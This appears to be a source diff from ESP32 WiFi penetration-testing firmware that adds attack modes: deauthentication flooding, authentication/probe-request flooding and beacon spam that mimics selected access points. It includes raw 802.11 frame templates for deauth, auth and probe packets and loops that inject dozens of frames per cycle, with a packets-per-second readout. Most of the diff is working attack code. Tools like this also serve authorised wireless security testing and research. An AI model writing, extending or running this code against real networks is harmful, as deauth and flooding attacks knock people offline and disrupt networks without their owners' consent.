@@ -2244,6 +2684,7 @@ void WiFiScan::main(uint32_t currentTime)
// WiFi operations
if ((currentScanMode == WIFI_SCAN_PROBE) ||
(currentScanMode == WIFI_SCAN_AP) ||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
(currentScanMode == WIFI_SCAN_PWN) ||
(currentScanMode == WIFI_SCAN_ESPRESSIF) ||
(currentScanMode == WIFI_SCAN_DEAUTH) ||
@@ -2263,6 +2704,73 @@ void WiFiScan::main(uint32_t currentTime)
{
eapolMonitorMain(currentTime);
}
else if (currentScanMode == WIFI_ATTACK_AUTH) {
for (int i = 0; i < 55; i++)
this->sendProbeAttack(currentTime);
if (currentTime - initTime >= 1000) {
initTime = millis();
String displayString = "";
String displayString2 = "";
displayString.concat("packets/sec: ");
displayString.concat(packets_sent);
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
displayString2.concat(" ");
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.showCenterText(displayString2, 160);
display_obj.showCenterText(displayString, 160);
packets_sent = 0;
}
}
else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
for (int i = 0; i < 55; i++)
this->sendDeauthAttack(currentTime);
if (currentTime - initTime >= 1000) {
initTime = millis();
String displayString = "";
String displayString2 = "";
displayString.concat("packets/sec: ");
displayString.concat(packets_sent);
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
displayString2.concat(" ");
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.showCenterText(displayString2, 160);
display_obj.showCenterText(displayString, 160);
packets_sent = 0;
}
}
else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
// Need this for loop because getTouch causes ~10ms delay
// which makes beacon spam less effective
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected)
this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
random(256),
random(256),
random(256),
random(256),
random(256)}});
}
if (currentTime - initTime >= 1000)
{
initTime = millis();
//Serial.print("packets/sec: ");
//Serial.println(packets_sent);
String displayString = "";
String displayString2 = "";
displayString.concat("packets/sec: ");
displayString.concat(packets_sent);
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
displayString2.concat(" ");
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.showCenterText(displayString2, 160);
display_obj.showCenterText(displayString, 160);
packets_sent = 0;
}
}
else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
{
// Need this for loop because getTouch causes ~10ms delay

View File

@@ -9,7 +9,7 @@
// Testing NimBLE
#include <NimBLEDevice.h>
#include <NimBLEAdvertisedDevice.h>
//#include <NimBLEAdvertisedDevice.h>
#include <WiFi.h>
#include <math.h>
@@ -45,6 +45,11 @@
#define LV_JOIN_WIFI 13
#define LV_ADD_SSID 14
#define WIFI_ATTACK_BEACON_LIST 15
#define WIFI_SCAN_TARGET_AP 16
#define LV_SELECT_AP 17
#define WIFI_ATTACK_AUTH 18
#define WIFI_ATTACK_MIMIC 19
#define WIFI_ATTACK_DEAUTH 20
#define GRAPH_REFRESH 100
@@ -57,12 +62,20 @@ extern BatteryInterface battery_obj;
extern TemperatureInterface temp_obj;
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
struct ssid {
String essid;
int bssid[6];
};
struct AccessPoint {
String essid;
int channel;
int bssid[6];
bool selected;
};
class WiFiScan
{
private:
@@ -79,6 +92,8 @@ class WiFiScan
bool do_break = false;
bool wsl_bypass_enabled = false;
//int num_beacon = 0; // GREEN
//int num_probe = 0; // BLUE
//int num_deauth = 0; // RED
@@ -88,7 +103,7 @@ class WiFiScan
int bluetoothScanTime = 5;
int packets_sent = 0;
const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
BLEScan* pBLEScan;
NimBLEScan* pBLEScan;
//String connected_network = "";
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
@@ -118,8 +133,8 @@ class WiFiScan
} __attribute__((packed)) WifiMgmtHdr;
typedef struct {
WifiMgmtHdr hdr;
uint8_t payload[0];
WifiMgmtHdr hdr;
} wifi_ieee80211_packet_t;
// barebones packet
@@ -135,6 +150,52 @@ class WiFiScan
/*36*/ 0x00
};
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
0x00, 0x01, // Sequence number
0x00, 0x00, // Algo
0x01, 0x00, // Auth sequence number
0x00, 0x00, // Status Code
0x7F, 0x08,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00
};*/
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00};
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
0x01, 0x00, // Sequence
0x00, // SSID Parameter
0x00, // SSID Length
/* SSID */
};
uint8_t deauth_frame_default[26] = {
0xc0, 0x00, 0x3a, 0x01,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf0, 0xff, 0x02, 0x00
};
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
void packetMonitorMain(uint32_t currentTime);
void eapolMonitorMain(uint32_t currentTime);
void changeChannel();
@@ -144,12 +205,18 @@ class WiFiScan
void tftDrawChannelScaleButtons();
void tftDrawColorKey();
void tftDrawGraphObjects();
void sendProbeAttack(uint32_t currentTime);
void sendDeauthAttack(uint32_t currentTime);
void broadcastRandomSSID(uint32_t currentTime);
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
void broadcastSetSSID(uint32_t current_time, char* ESSID);
void RunRickRoll(uint8_t scan_mode, uint16_t color);
void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
void RunBeaconList(uint8_t scan_mode, uint16_t color);
void RunAPScan(uint8_t scan_mode, uint16_t color);
//void RunRickRoll(uint8_t scan_mode, uint16_t color);
//void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
//void RunProbeFlood(uint8_t scan_mode, uint16_t color);
//void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
//void RunBeaconList(uint8_t scan_mode, uint16_t color);
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
void RunPwnScan(uint8_t scan_mode, uint16_t color);
void RunBeaconScan(uint8_t scan_mode, uint16_t color);
@@ -161,9 +228,13 @@ class WiFiScan
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
static void scanCompleteCB(BLEScanResults scanResults);
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
public:
WiFiScan();
//AccessPoint ap_list;
//LinkedList<ssid>* ssids;
int set_channel = 1;
@@ -180,10 +251,12 @@ class WiFiScan
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
char* stringToChar(String string);
void RunSetup();
int clearSSIDs();
int clearAPs();
bool addSSID(String essid);
int generateSSIDs();
bool shutdownWiFi();
@@ -197,6 +270,7 @@ class WiFiScan
void RunShutdownBLE();
void RunGenerateSSIDs();
void RunClearSSIDs();
void RunClearAPs();
void channelHop();
uint8_t currentScanMode = 0;
void main(uint32_t currentTime);
@@ -207,6 +281,7 @@ class WiFiScan
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

View File

@@ -74,6 +74,8 @@ void setup()
Serial.begin(115200);
//Serial.begin(115200);
Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
display_obj.RunSetup();
display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
@@ -184,9 +186,9 @@ void setup()
digitalWrite(TFT_BL, HIGH);
*/
esp_obj.begin();
//esp_obj.begin();
a32u4_obj.begin(); // This goes last to make sure nothing is messed up when reading serial
//a32u4_obj.begin(); // This goes last to make sure nothing is messed up when reading serial
display_obj.tft.println(F("Starting..."));
@@ -214,8 +216,8 @@ void loop()
sd_obj.main();
battery_obj.main(currentTime);
temp_obj.main(currentTime);
esp_obj.main(currentTime);
a32u4_obj.main(currentTime);
//esp_obj.main(currentTime);
//a32u4_obj.main(currentTime);
//led_obj.main(currentTime);
//if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM))
if ((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) &&
@@ -233,7 +235,7 @@ void loop()
else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
display_obj.main(wifi_scan_obj.currentScanMode);
menu_function_obj.main(currentTime);
esp_obj.program();
//esp_obj.program();
delay(1);
}
//else

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 286 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 509 KiB